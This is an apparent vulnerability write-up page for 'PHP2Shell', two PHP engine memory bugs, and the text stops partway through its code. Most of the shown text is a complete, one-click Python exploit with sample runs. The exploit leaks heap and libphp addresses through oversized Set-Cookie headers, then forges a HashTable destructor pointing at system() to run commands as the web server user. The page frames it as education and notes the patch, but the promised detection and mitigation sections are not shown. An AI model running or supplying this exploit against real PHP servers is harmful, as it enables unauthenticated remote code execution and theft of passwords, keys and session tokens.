php2shell.in
CRITICAL • PATCHED 21 OCT 2026

PHP2Shell

Two critical vulnerabilities in the PHP engine itself that let an unauthenticated attacker run commands on your web server with nothing but ordinary HTTP requests. No login, no application bug, no file upload the app accepts — the flaw lives in the runtime, below whatever framework or CMS is installed.

CVE-2026-109618 — memory disclosure (defeats ASLR)
CVE-2026-109619 — remote code execution
CVSS 4.0: 9.2 Critical (both)

⚠ If you run PHP, do this now

Upgrade to 8.2.35, 8.3.36, 8.4.27 or 8.5.12 — then restart every PHP worker (Apache, PHP-FPM). Updating WordPress, Laravel, Drupal or plugins does not fix this. Check changelogs if you use distro packages, which may backport the fix under older version numbers.

On this page — the complete attack chain:
  1. Overview — what PHP2Shell is, the two CVEs, timeline
  2. A harmless feature — session.upload_progress, the pre-auth foothold
  3. The bug — the memory bailout that leaves a dangling pointer (CWE-824)
  4. Reconnaissance — confirming a vulnerable target
  5. Stage 1+2 — leaking memory & defeating ASLR (CVE-2026-109618)
  6. Stage 3 — from a leak to a shell (CVE-2026-109619)
  7. The exploit — complete exploit.py with walkthrough
  8. Detection — what the attack looks like in logs
  9. Mitigation — the real fix and interim measures

01Overview

PHP2Shell is the name researchers gave to an exploit chain built on two memory-safety bugs in the PHP interpreter. Both are classified CWE-824: Access of Uninitialized Pointer, both score CVSS 4.0 9.2 (Critical), and both are remotely triggerable without authentication or user interaction. The vulnerable code paths date back to PHP 5.4.0 (2012) — a fourteen-year-old bug reaching every release since.

The bugs were found by researchers at Calif, Wiz, and OpenAI's Codex security team (plus Quarkslab on one), working with the PHP security team, and disclosed as GitHub advisories GHSA-w8hw-w9fx-j79w and GHSA-6wmf-4rv5-p3rp. The PHP changelog addresses both with a single line — "Avoid state corruption via bailout" — which names the root cause precisely.

CVE-2026-109618
CVSS 9.2 • Critical

Memory disclosure

A stale pointer is read back as a string with an attacker-inflated length and returned in the Set-Cookie: PHPSESSID response header — up to ~67 KB of worker memory per request. Leaks heap and library addresses, defeating ASLR, and can expose passwords, session tokens, API keys, even TLS private keys.

CVE-2026-109619
CVSS 9.2 • Critical

Remote code execution

The freed memory is reoccupied with a forged HashTable whose destructor pointer (pDestructor) is set to the address of system() inside libphp. When the engine cleans up the value, it calls the attacker's function instead. Commands run as the web server user.

Timeline

2012
Vulnerable code paths introduced in PHP 5.4.0 — the bug sleeps for 14 years.
Pre-disclosure, Oct 2026
Exploitation attempts recorded by network sensors within hours of disclosure — some even before patched releases shipped. Details leaked a day early.
21 October 2026
PHP ships emergency releases: 8.2.35, 8.3.36, 8.4.27, 8.5.12 — plus source backports for EOL 7.4, 8.0 and 8.1.

02A harmless feature: upload progress

When I started digging into this, the first thing I wanted to understand was the trigger — because every vulnerability abuses something built to be useful. PHP has a feature called session.upload_progress: while PHP is still reading a multipart/form-data request body off the wire, it writes a running description of the upload — its name, size, bytes received so far — into the user's $_SESSION. A second request can read that session data and report progress back to the browser.

An attacker reaches it with an ordinary multipart POST — no login required:

POST /index.php HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----Boundary123
Connection: close

------Boundary123
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

upload-test
------Boundary123
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

This is a test file.
------Boundary123--

The critical detail is when this runs. Parsing the request body is one of the first things PHP does — the progress updates are written from inside the body-parsing (SAPI) callbacks, long before the request environment is initialised and long before the target script compiles and runs:

1. Parse body — upload-progress writes $_SESSION via SAPI callbacks  ← attacker is here, pre-auth
↓
2. RINIT — request start-up
↓
3. Run script — index.php finally executes  ← first line of your code

Reaching this code needs no session_start() in the target page, no valid login, no application logic at all. Any URL that accepts a POST is enough — even one whose script does nothing but print a single line. This pre-execution window is the foothold: the whole of PHP2Shell happens inside it, while the application is still fast asleep.

03The bug: a bailout at the wrong moment

The upload-progress feature is not itself the vulnerability. The vulnerability is what happens when PHP runs out of memory while that feature is in the middle of its work.

PHP caps per-request memory with memory_limit. When a request tries to exceed it, PHP cannot carry on — so it performs what the engine calls a bailout: it uses longjmp() to jump straight back to a safe recovery point, abandoning whatever it was doing. This is the mechanism behind the familiar "Allowed memory size exhausted" fatal error. Normally a request tidies up after itself, freeing memory and clearing pointers — but a bailout skips all of that. It is an emergency exit, not an orderly shutdown.

The flaw is a matter of timing. If the out-of-memory condition strikes after the engine has freed a block of memory but before it has cleared the pointer referring to that block, the bailout leaves the pointer behind — a classic dangling pointer:

// the pattern, simplified:
char *ptr = malloc(100);  // Event 1: allocates memory
free(ptr);                // Event 2: memory is freed
// OOM bailout happens here — longjmp skips the cleanup!
ptr = NULL;               // Event 4: pointer is cleared (NEVER RUNS)

The allocator considers the block freed and available for reuse — but the pointer still holds its old address. Classified as CWE-824 (Access of Uninitialized Pointer) and CWE-416 (Use After Free).

Why the pointer survives: the worker model

On its own, a dangling pointer in a dead request would be harmless — the process ends, the OS reclaims everything. What makes it dangerous is the server model: under Apache prefork with mod_php, a single worker process serves one request after another without restarting between them. The request ends, but the worker does not.

Request A — OOM bailout occurs mid-cleanup → stale pointer ptr = 0x1000 remains
↓ worker survives ↓
Request B — same worker. A new allocation reuses 0x1000; the block now holds different data
↓
The stale pointer still references 0x1000 → following it now reads the new allocation's contents

The attacker controls what the pointer now points at — because the attacker controls what Request B allocates. From this single defect the researchers built two attacks: CVE-2026-109618 reads the corrupted state (disclosure), CVE-2026-109619 steers it (execution).

Lab vs production: my lab setup pins the server to a single worker with a low memory_limit so the dangling pointer is reliably reused. A production host runs many workers with higher limits — the timing is harder to hit, but not impossible. The exploit rotates workers over HTTP until it lands on a corrupted one.

04Reconnaissance: confirming the target

I ran the vulnerable server as a container in my own lab. Confirming the target takes seconds — and the punchline is the application itself:

$ docker ps --format '{{.Names}}  {{.Image}}  {{.Status}}'
php2shell-target  php:8.4.26-apache  Up 3 minutes
$ docker exec php2shell-target php -v
PHP 8.4.26 (cli) (built: Oct 21 2026 00:31:19) (NTS)
Copyright (c) The PHP Group
Zend Engine v4.4.26, Copyright (c) Zend Technologies

$ curl -s http://127.0.0.1:8088/index.php
OK
$ docker exec php2shell-target cat /var/www/html/index.php
<?php echo "OK\n"; ?>

PHP 8.4.26 — one release short of the 8.4.27 fix — and the entire application is one line that prints OK. No login form, no file upload, no database, no bug in this code to exploit. If the attack works against this page, it works against the runtime, not the application: a WordPress or Laravel site is no better protected just because its own code is sound.

Target requirements

SettingNeeded for the exploit
PHP versionVulnerable build: anything from 5.4.0 up to 8.2.34 / 8.3.35 / 8.4.26 / 8.5.11 (lab uses php:8.4.26-apache)
SAPIApache mod_php, prefork (worker reuse is what keeps the stale pointer alive)
session.upload_progress.enabled1 (the default) — the delivery mechanism
memory_limitLow enough to provoke OOM reliably (lab uses 8M; exploit sends a 12 MB field)
display_errors1 in the lab setup
session.use_cookies / use_strict_mode1 / 0

05Stages 1+2: leaking memory & defeating ASLR (CVE-2026-109618)

Modern systems randomise where code and data load (ASLR), so an attacker who wants to redirect execution must first learn the real addresses. CVE-2026-109618 removes that protection by turning the dangling pointer into a leak of the worker's own memory.

The mechanism

  1. Request A: an out-of-memory condition is provoked while a session identifier is being handled. The bailout interrupts cleanup, leaving a stale pointer to the session id.
  2. Request B: on the same worker, the freed space is reoccupied — and the stale pointer now describes a string whose length the attacker has inflated far beyond the real data.
  3. Cookie generation: when PHP builds the Set-Cookie: PHPSESSID header, it trusts the incorrect length and reads beyond the actual session ID.
  4. Disclosure: the response header now carries whatever sat in worker memory after the string — measured at up to ~67 KB of process memory per request.
Conceptually, the response looks like this:
Set-Cookie: PHPSESSID=[32-byte real id][~67 KB of worker memory]

That memory can hold: passwords, session cookies, API keys,
TLS private keys — and the code addresses the exploit needs.

Two leaks, ASLR defeated

The exploit runs the leak twice. The first pass discloses the heap chunk base (found by scanning the cookie for 2 MB-aligned pointers); the second discloses the libphp base by reading a pointer at a known offset into the library:

$ python3 exploit.py -u http://127.0.0.1:8088/index.php
[*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1')
[*] offsets loaded from out/offsets.env
[*] rotating worker over HTTP
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x70d1a2c00000
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x70d1a4911000

The addresses differ on every run — that is ASLR doing its job. The attack simply reads them out each time rather than guessing. With the heap and the engine's own code located, the second CVE takes over.

06Stage 3: from a leak to a shell (CVE-2026-109619)

The leak told the attacker where everything is. CVE-2026-109619 turns that knowledge into a command running on the server — by reoccupying the freed memory not with data to read, but with a carefully forged object that hijacks the engine's own clean-up machinery.

When PHP destroys a value, it may call a function pointer stored alongside it — a destructor — to release the value's resources. The exploit forges an internal HashTable structure in the reoccupied memory with its destructor pointer, pDestructor, set to the address of system() inside libphp (an address the leak made known). When the engine tidies up that value at the end of request handling, it believes it is calling a harmless destructor — and instead calls system() with attacker-controlled bytes as its argument.

$ python3 exploit.py -u http://127.0.0.1:8088/index.php
[*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1')
[*] offsets loaded from out/offsets.env
[*] rotating worker over HTTP
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x70d1a2c00000
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x70d1a4911000
[*] rotating worker over HTTP
[*] stage 3: HTDATA=0x70d1a2c690d8 ZIF=0x70d1a4d76370
[+] W3 attempt 1
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

That is remote code execution from nothing but multipart POST requests to a page that prints OK — against a server with no application vulnerability of any kind. To pull a flag instead of id:

$ python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'cat /f>/out/p1' --proof-file out/p1
...
PROOF: flag{...}

If a run ever stops short at the leak stage, run it again — the corruption is probabilistic, and the exploit retries the fragile stages for you.

07The exploit: complete exploit.py

Below is the complete exploit I used to reproduce the chain end to end against php:8.4.26-apache (bookworm profile, with a lab profile for custom builds included). It runs all three stages over raw sockets — worker rotation, the two Set-Cookie leaks, and the forged-HashTable destructor hijack. I cross-checked the technique against the TryHackMe PHP2Shell room while writing my notes.

Responsible use: this code is published for education and authorized security testing only. Only run it against systems you own or have explicit written permission to test. The vulnerability is patched — the defensive value of this page is in understanding the chain.
#!/usr/bin/env python3
"""
php2shell - one-click remote exploit for PHP 8.4.26 / mod_php, prefork.

Default profile: official php:8.4.26-apache image (Apache 2.4.69).
Lab build (Apache 2.4.68, minimal PHP): use --profile lab.

Chain (all attacker traffic is plain HTTP):
  stage 0  HTTP worker rotation
  stage 1  Set-Cookie heap leak        -> Zend MM chunk base
  stage 2  Set-Cookie libphp leak      -> libphp base (ZVAL_PTR_DTOR)
  stage 3  upload_progress fake-ref    -> pDestructor = zif_system

Requirements on the target (the shipped docker/ setup matches these settings):
  display_errors=1, memory_limit=8M, max_input_vars=1000,
  session.use_cookies=1, session.use_strict_mode=0,
  session.upload_progress.enabled=1, single-worker prefork.

Usage:
  python3 exploit.py -u http://127.0.0.1:8088/index.php
  python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'id>/out/p1' --proof-file out/p1
  python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'id>/tmp/p1' --proof-file /tmp/p1

The command is embedded in a 167-byte live zend_string; the maximum command
length for this payload layout is 14 bytes.  For a longer command, chain it
through a short shell trigger, e.g. `sh</out/c` (8 bytes).
"""

from __future__ import annotations

import argparse
import os
import re
import socket
import ssl
import struct
import subprocess
import threading
import sys
import time
import urllib.parse
from collections import Counter

# Offsets for the lab build (PHP 8.4.26, Apache 2.4.68, Debian 12, gcc 12).
# They are relative to the libphp.so / Zend MM chunk base, so they do not
# depend on ASLR.  Rebuilds can shift them; pass --zif-offset/--dtor-offset.
ZIF_OFFSET = 0x43A870       # zif_system
DTOR_OFFSET = 0x613C50      # ZVAL_PTR_DTOR (zval_ptr_dtor)
HTDATA_OFFSET = 0x6E0D8     # live 167-byte string used as fake HashTable
MAX_CMD = 14                # 167-byte carrier - 0x98 header - NUL

# bookworm (official php:8.4.26-apache) calibration, measured on the image
BOOKWORM_STAGE1_N = 841
BOOKWORM_STAGE2_T = 406
BOOKWORM_STAGE2_V = 16
BOOKWORM_HTDATA_OFFSET = 0x690D8
BOOKWORM_STAGE3_PADS = [(31, 31)] * 6

SID = b"attacksessionid0001"
DEFAULT_CMD = "id>/out/p1"
_HERE = os.path.dirname(os.path.abspath(__file__))
DEFAULT_PROOF = os.path.join(_HERE, "out", "p1")
DEFAULT_OFFSETS = os.path.join(_HERE, "out", "offsets.env")


def build_multipart(parts, boundary: bytes) -> bytes:
    out = bytearray()
    for p in parts:
        name = p["name"].encode()
        out += b"--" + boundary + b"\r\n"
        out += b'Content-Disposition: form-data; name="' + name + b'"'
        if p.get("filename") is not None:
            out += b'; filename="' + p["filename"].encode() + b'"'
            out += b"\r\nContent-Type: application/octet-stream"
        out += b"\r\n\r\n" + p["data"] + b"\r\n"
    out += b"--" + boundary + b"--\r\n"
    return bytes(out)


def read_offsets_file(path: str) -> dict[str, int]:
    """Read ZIF_OFFSET=0x.. / DTOR_OFFSET=0x.. written by docker/offsets.py."""
    vals: dict[str, int] = {}
    if not path:
        return vals
    try:
        with open(path, "r", encoding="utf-8") as f:
            for line in f:
                line = line.strip()
                if not line or line.startswith("#") or "=" not in line:
                    continue
                key, val = line.split("=", 1)
                vals[key.strip()] = int(val.strip(), 0)
    except (OSError, ValueError):
        pass
    return vals


class Target:
    def __init__(self, url: str, timeout: float = 30.0, verbose: bool = True):
        u = urllib.parse.urlsplit(url)
        if u.scheme not in ("http", "https"):
            raise ValueError("URL must be http:// or https://")
        self.https = u.scheme == "https"
        self.host = u.hostname or "127.0.0.1"
        self.port = u.port or (443 if self.https else 80)
        self.path = u.path or "/"
        self.timeout = timeout
        self.verbose = verbose

    def log(self, msg: str) -> None:
        if self.verbose:
            print(msg, flush=True)

    def _connect(self):
        last = None
        for _ in range(10):
            try:
                s = socket.create_connection((self.host, self.port), timeout=self.timeout)
                if self.https:
                    ctx = ssl.create_default_context()
                    s = ctx.wrap_socket(s, server_hostname=self.host)
                try:
                    s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
                except OSError:
                    pass
                return s
            except OSError as e:
                last = e
                time.sleep(0.3)
        raise last  # type: ignore[misc]

    def post(self, body: bytes, boundary: bytes, read_cap: int = 1 << 20,
             timeout: float | None = None,
             extra_headers: dict[str, str] | None = None) -> bytes:
        extra = ""
        for k, v in (extra_headers or {}).items():
            extra += f"{k}: {v}\r\n"
        hdr = (
            f"POST {self.path} HTTP/1.1\r\n"
            f"Host: {self.host}:{self.port}\r\n"
            f"{extra}"
            f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
            f"Content-Length: {len(body)}\r\n"
            "Connection: close\r\n"
            "\r\n"
        ).encode()
        s = self._connect()
        s.settimeout(timeout or self.timeout)

        # Read concurrently with the upload: some exploit requests make the
        # worker abort right after sending Set-Cookie, and a recv() that starts
        # after the RST loses the already-buffered response.
        data = bytearray()

        def _reader() -> None:
            try:
                while len(data) < read_cap:
                    chunk = s.recv(65536)
                    if not chunk:
                        break
                    data.extend(chunk)
            except OSError:
                pass

        reader = threading.Thread(target=_reader, daemon=True)
        reader.start()
        try:
            try:
                s.sendall(hdr)
                mv = memoryview(body)
                for off in range(0, len(body), 262144):
                    s.sendall(mv[off:off + 262144])
            except OSError:
                pass  # the worker may abort while the body is still in flight
            reader.join(timeout=(timeout or self.timeout) + 1.0)
            return bytes(data)
        finally:
            s.close()

    def get(self, path: str, read_cap: int = 1 << 20) -> tuple[int, bytes]:
        hdr = (
            f"GET {path} HTTP/1.1\r\n"
            f"Host: {self.host}:{self.port}\r\n"
            "Connection: close\r\n"
            "\r\n"
        ).encode()
        s = self._connect()
        s.settimeout(self.timeout)
        try:
            s.sendall(hdr)
            data = bytearray()
            try:
                while len(data) < read_cap:
                    chunk = s.recv(65536)
                    if not chunk:
                        break
                    data += chunk
            except OSError:
                pass
        finally:
            s.close()
        head, _, body = bytes(data).partition(b"\r\n\r\n")
        m = re.match(rb"HTTP/1\.[01] (\d{3})", head)
        return (int(m.group(1)) if m else 0), body


def parse_cookie(resp: bytes) -> bytes:
    m = re.search(rb"Set-Cookie: PHPSESSID=([^\r\n]*?); path=/", resp)
    if not m:
        return b""
    return urllib.parse.unquote_to_bytes(m.group(1).decode("latin1"))


def chunk_base_from_cookie(raw: bytes) -> int:
    """Stage 1: 2MB-aligned mode of the heap pointers in the decoded cookie."""
    if len(raw) < 1000:
        return 0
    c: Counter[int] = Counter()
    for i in range(len(raw) - 8):
        v = int.from_bytes(raw[i:i + 8], "little")
        if 0x600000000000 <= v < 0x800000000000:
            c[v & ~0x1FFFFF] += 1
    if not c:
        return 0
    base, count = c.most_common(1)[0]
    return base if count >= 8 else 0


def libphp_base_from_cookie(raw: bytes, dtor_offset: int = DTOR_OFFSET) -> int:
    """Stage 2: Set-Cookie data starts at PS(id)+0x18 = nNextFreeElement|pDestructor.

    The page-aligned check is 4KB, not 2MB: the lab build happened to map
    libphp at a 2MB boundary, but the official php:8.4.26-apache image maps it
    at a 4KB boundary (e.g. base 0x...acdb000).
    """
    if len(raw) < 16:
        return 0
    p = int.from_bytes(raw[8:16], "little")
    if not (0x600000000000 <= p < 0x800000000000):
        return 0
    if p & 0xFFF != dtor_offset & 0xFFF:
        return 0
    base = p - dtor_offset
    return base if base & 0xFFF == 0 else 0


class Exploit:
    def __init__(self, target: Target, cmd: str, zif_offset: int = ZIF_OFFSET,
                 dtor_offset: int = DTOR_OFFSET, htdata_offset: int = HTDATA_OFFSET,
                 huge_mb: int = 12, verbose: bool = True, profile: str = "lab"):
        self.t = target
        self.cmd = cmd.encode()
        self.zif_offset = zif_offset
        self.dtor_offset = dtor_offset
        self.htdata_offset = htdata_offset
        self.huge_mb = huge_mb
        self.verbose = verbose
        self.profile = profile
        if profile == "bookworm":
            # official php:8.4.26-apache (Debian 12, Apache 2.4.69)
            self.stage1_n = BOOKWORM_STAGE1_N
            self.stage2_t = BOOKWORM_STAGE2_T
            self.stage2_v = BOOKWORM_STAGE2_V
            self.stage3_pads = list(BOOKWORM_STAGE3_PADS)
            self.stage3_carrier = True
        else:
            self.stage1_n = 892
            self.stage2_t = 443
            self.stage2_v = 1
            self.stage3_pads = [(8, 7)] + [(7, 7)] * 5
            self.stage3_carrier = False

    # ---------- request primitives (shapes match tools/*.py) ----------

    def _big_field(self) -> dict:
        return {"name": "big", "data": b"B" * (self.huge_mb * 1024 * 1024)}

    def _file_part(self) -> dict:
        return {"name": "f", "filename": "a.txt", "data": b"A" * 64}

    def _try_stage1_n(self, n: int) -> int:
        """Single stage1 attempt with a specific filler count n."""
        parts = [{"name": f"p{i:04d}", "data": b"x"} for i in range(1001)]
        parts += [
            {"name": "PHPSESSID", "data": b"\x00"},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
            self._file_part(),
            self._big_field(),
        ]
        self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
                    read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
        time.sleep(0.2)

        parts = [
            {"name": "PHPSESSID", "data": SID},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
        ]
        for i in range(n):
            val = (f"v{i:04d}" + "x" * 44)[:48]
            parts.append({"name": str(1000 + i), "data": val.encode()})
        forge = bytearray(b"A" * 79)
        struct.pack_into("<Q", forge, 0x10, 0x1000)
        forge[0x18] = ord("L")
        parts.append({"name": "1999", "data": bytes(forge)})

        resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
                           read_cap=9 << 20)
        return chunk_base_from_cookie(parse_cookie(resp))

    def _try_stage2_t(self, t_idx: int, vlen: int) -> int:
        """Single stage2 attempt with a specific target array index."""
        parts = [{"name": f"f{i:04d}"[:5], "data": b"x" * 39} for i in range(1001)]
        parts += [
            {"name": "PHPSESSID", "data": b"\x00"},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
            self._file_part(),
            self._big_field(),
        ]
        self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
                    read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
        time.sleep(0.2)

        parts = [
            {"name": "PHPSESSID", "data": SID},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
        ]
        for i in range(983):
            cnt = 16 if i == t_idx else 1
            for j in range(cnt):
                parts.append({"name": f"a{i:04d}[{j}]", "data": b"x" * vlen})

        resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
                           read_cap=1 << 20)
        return libphp_base_from_cookie(parse_cookie(resp), self.dtor_offset)

    def calibrate_stage1(self, center: int = 841, radius: int = 80,
                         coarse: int = 10, log=None) -> int | None:
        """Sweep stage1_n around center. Returns the first hit or None."""
        lo = max(700, center - radius)
        hi = center + radius
        for n in range(lo, hi + 1, coarse):
            self.rotate()
            chunk = self._try_stage1_n(n)
            if log:
                log(n, bool(chunk))
            if chunk:
                self.stage1_n = n
                return chunk
        # fine sweep around edges
        for n in range(lo, hi + 1, 1):
            if n % coarse == 0:
                continue
            self.rotate()
            chunk = self._try_stage1_n(n)
            if log:
                log(n, bool(chunk))
            if chunk:
                self.stage1_n = n
                return chunk
        return None

    def calibrate_stage2(self, center: int = 406, radius: int = 60,
                         coarse: int = 5, log=None) -> int | None:
        """Sweep stage2_t around center. Returns the first hit or None."""
        lo = max(300, center - radius)
        hi = center + radius
        for vlen in (self.stage2_v, 1, 16):
            for t_idx in range(lo, hi + 1, coarse):
                self.rotate()
                base = self._try_stage2_t(t_idx, vlen)
                if log:
                    log(t_idx, vlen, bool(base))
                if base:
                    self.stage2_t = t_idx
                    self.stage2_v = vlen
                    return base
        return None

    def rotate(self) -> None:
        """Abort the current worker over HTTP; prefork forks a fresh one."""
        self.t.log("[*] rotating worker over HTTP")
        parts = [{"name": f"f{i:04d}"[:5], "data": b"V" * 3000} for i in range(1001)]
        parts += [
            {"name": "PHPSESSID", "data": b"\x00"},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
            self._file_part(),
            self._big_field(),
        ]
        self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
                    read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
        time.sleep(0.3)
        # Session-initializing B with no file part: pre-RINIT cleanup walks the
        # corrupted heap and the child aborts.
        parts = [
            {"name": "PHPSESSID", "data": SID},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
        ]
        self.t.post(build_multipart(parts, b"BNDRY12345"), b"BNDRY12345",
                    read_cap=65536, timeout=20.0)
        time.sleep(0.5)

    def stage1(self) -> int:
        """Leak the Zend MM chunk base."""
        parts = [{"name": f"p{i:04d}", "data": b"x"} for i in range(1001)]
        parts += [
            {"name": "PHPSESSID", "data": b"\x00"},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
            self._file_part(),
            self._big_field(),
        ]
        self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
                    read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
        time.sleep(0.2)

        parts = [
            {"name": "PHPSESSID", "data": SID},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
        ]
        for i in range(self.stage1_n):
            val = (f"v{i:04d}" + "x" * 44)[:48]
            parts.append({"name": str(1000 + i), "data": val.encode()})
        forge = bytearray(b"A" * 79)
        struct.pack_into("<Q", forge, 0x10, 0x1000)   # forged zend_string len
        forge[0x18] = ord("L")
        parts.append({"name": "1999", "data": bytes(forge)})

        resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
                           read_cap=9 << 20)
        return chunk_base_from_cookie(parse_cookie(resp))

    def stage2(self) -> int:
        """Leak libphp base through a 56-byte HashTable page."""
        parts = [{"name": f"f{i:04d}"[:5], "data": b"x" * 39} for i in range(1001)]
        parts += [
            {"name": "PHPSESSID", "data": b"\x00"},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
            self._file_part(),
            self._big_field(),
        ]
        self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
                    read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
        time.sleep(0.2)

        parts = [
            {"name": "PHPSESSID", "data": SID},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
        ]
        for i in range(983):
            cnt = 16 if i == self.stage2_t else 1
            for j in range(cnt):
                parts.append({"name": f"a{i:04d}[{j}]", "data": b"x" * self.stage2_v})

        resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
                           read_cap=1 << 20)
        return libphp_base_from_cookie(parse_cookie(resp), self.dtor_offset)

    def _fake_payload(self, htdata: int, zif: int) -> tuple[bytes, bytes]:
        cmd = self.cmd
        if len(cmd) > MAX_CMD:
            raise ValueError(
                f"command is {len(cmd)} bytes; the 167-byte carrier allows at most "
                f"{MAX_CMD} (e.g. use 'sh</out/c')"
            )
        ht = bytearray(b"\x00" * 167)
        # fake HashTable
        struct.pack_into("<II", ht, 0x00, 1, 7)                 # gc: rc=1, IS_ARRAY
        struct.pack_into("<II", ht, 0x08, 0x10, 0xFFFFFFF8)     # flags, nTableMask
        struct.pack_into("<Q", ht, 0x10, htdata + 0x20)         # arData
        struct.pack_into("<II", ht, 0x18, 1, 1)                 # nNumUsed/OfElements
        struct.pack_into("<II", ht, 0x20, 8, 0)                 # nTableSize/pointer
        struct.pack_into("<Q", ht, 0x28, 0)                     # nNextFreeElement
        struct.pack_into("<Q", ht, 0x30, zif)                   # pDestructor
        # fake execute_data at E = data+0x20
        E = 0x20
        struct.pack_into("<Q", ht, E + 0x00, 0)                 # opline
        struct.pack_into("<Q", ht, E + 0x08, 0)                 # call
        struct.pack_into("<Q", ht, E + 0x10, zif)               # return_value
        struct.pack_into("<Q", ht, E + 0x18, 0)                 # func
        struct.pack_into("<Q", ht, E + 0x20, 0)                 # This.value
        struct.pack_into("<I", ht, E + 0x28, 0)                 # This.u1.type_info
        struct.pack_into("<I", ht, E + 0x2C, 1)                 # num_args = 1
        struct.pack_into("<Q", ht, E + 0x30, 0)                 # prev_execute_data
        struct.pack_into("<Q", ht, E + 0x38, 0)                 # symbol_table
        struct.pack_into("<I", ht, E + 0x40, 0)                 # call_info
        struct.pack_into("<Q", ht, E + 0x50, htdata + 0x80)     # arg1 value
        struct.pack_into("<I", ht, E + 0x58, 6)                 # arg1 IS_STRING
        # fake zend_string at data+0x80
        struct.pack_into("<II", ht, 0x80, 1, 0x106)             # gc rc=1, IS_STRING
        struct.pack_into("<Q", ht, 0x88, 0)                     # h
        struct.pack_into("<Q", ht, 0x90, len(cmd))              # len
        ht[0x98:0x98 + len(cmd)] = cmd
        ht[0x98 + len(cmd)] = 0

        # fake reference (55 bytes) placed at R0-0x10
        ref = bytearray(b"X" * 55)
        struct.pack_into("<II", ref, 0x10, 1, 10)               # IS_REFERENCE
        struct.pack_into("<Q", ref, 0x18, htdata)               # val.value
        struct.pack_into("<Q", ref, 0x20, 0x307)                # IS_ARRAY_EX
        struct.pack_into("<Q", ref, 0x28, 0)                    # sources
        return bytes(ht), bytes(ref)

    def stage3(self, htdata: int, zif: int) -> None:
        """Write the fake reference over PS(http_session_vars) and execute."""
        parts = [
            {"name": "PHPSESSID", "data": b"a" * 19},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"p" * 3},
        ]
        specs = self.stage3_pads
        for i, (nl, vl) in enumerate(specs):
            name = (f"p{i:0{nl - 1}d}" if nl > 0 else "")[:nl]
            parts.append({"name": name, "data": b"V" * vl})
        parts += [self._file_part(), self._big_field()]
        extra = None
        if self.profile == "bookworm":
            # Keep PS(id) valid: php_session_initialize then leaves
            # send_cookie=0, so B's init does not allocate the Set-Cookie
            # header at R0+16 (which would clobber val.type).
            extra = {"Cookie": "PHPSESSID=" + "a" * 32}
        self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
                    read_cap=1 << 20, timeout=max(90.0, self.t.timeout),
                    extra_headers=extra)
        time.sleep(0.3)

        ht, ref = self._fake_payload(htdata, zif)
        parts = [
            {"name": "PHPSESSID", "data": SID},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
        ]
        if self.stage3_carrier:
            # The bookworm reference is still alive (rc=2).  A 15-byte
            # bin-40 zend_string lands its chars exactly at
            # PS(http_session_vars): keep gc (rc=1, IS_REFERENCE), rewrite the
            # low 7 bytes of val.value to the fake HashTable, and let the
            # high byte stay 0x00 (canonical 0x00007f... pointer).
            carrier = struct.pack("<II", 1, 0x1A) + struct.pack("<Q", htdata)[:7]
            for i in range(2):
                parts.append({"name": f"f{i:02d}", "data": b"F" * 15})
            parts.append({"name": "g00", "data": carrier})
            for i in range(15):
                parts.append({"name": f"a{i:030d}"[:31], "data": ht})
        else:
            for i in range(15):
                parts.append({"name": f"a{i:030d}"[:31], "data": ht})
            for i in range(2):
                parts.append({"name": f"f{i:02d}", "data": ref})
        self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
                    read_cap=65536, timeout=30.0)


def main() -> int:
    ap = argparse.ArgumentParser(
        description="php2shell one-click exploit (official php:8.4.26-apache / lab)",
        formatter_class=argparse.ArgumentDefaultsHelpFormatter,
    )
    ap.add_argument("-u", "--url", required=True,
                    help="target PHP page, e.g. http://127.0.0.1:8088/index.php")
    ap.add_argument("-c", "--cmd", default=DEFAULT_CMD,
                    help=f"command to execute (max {MAX_CMD} bytes)")
    ap.add_argument("--proof-file", default=DEFAULT_PROOF,
                    help="read this local file after exploitation; '' disables")
    ap.add_argument("--fetch", default="",
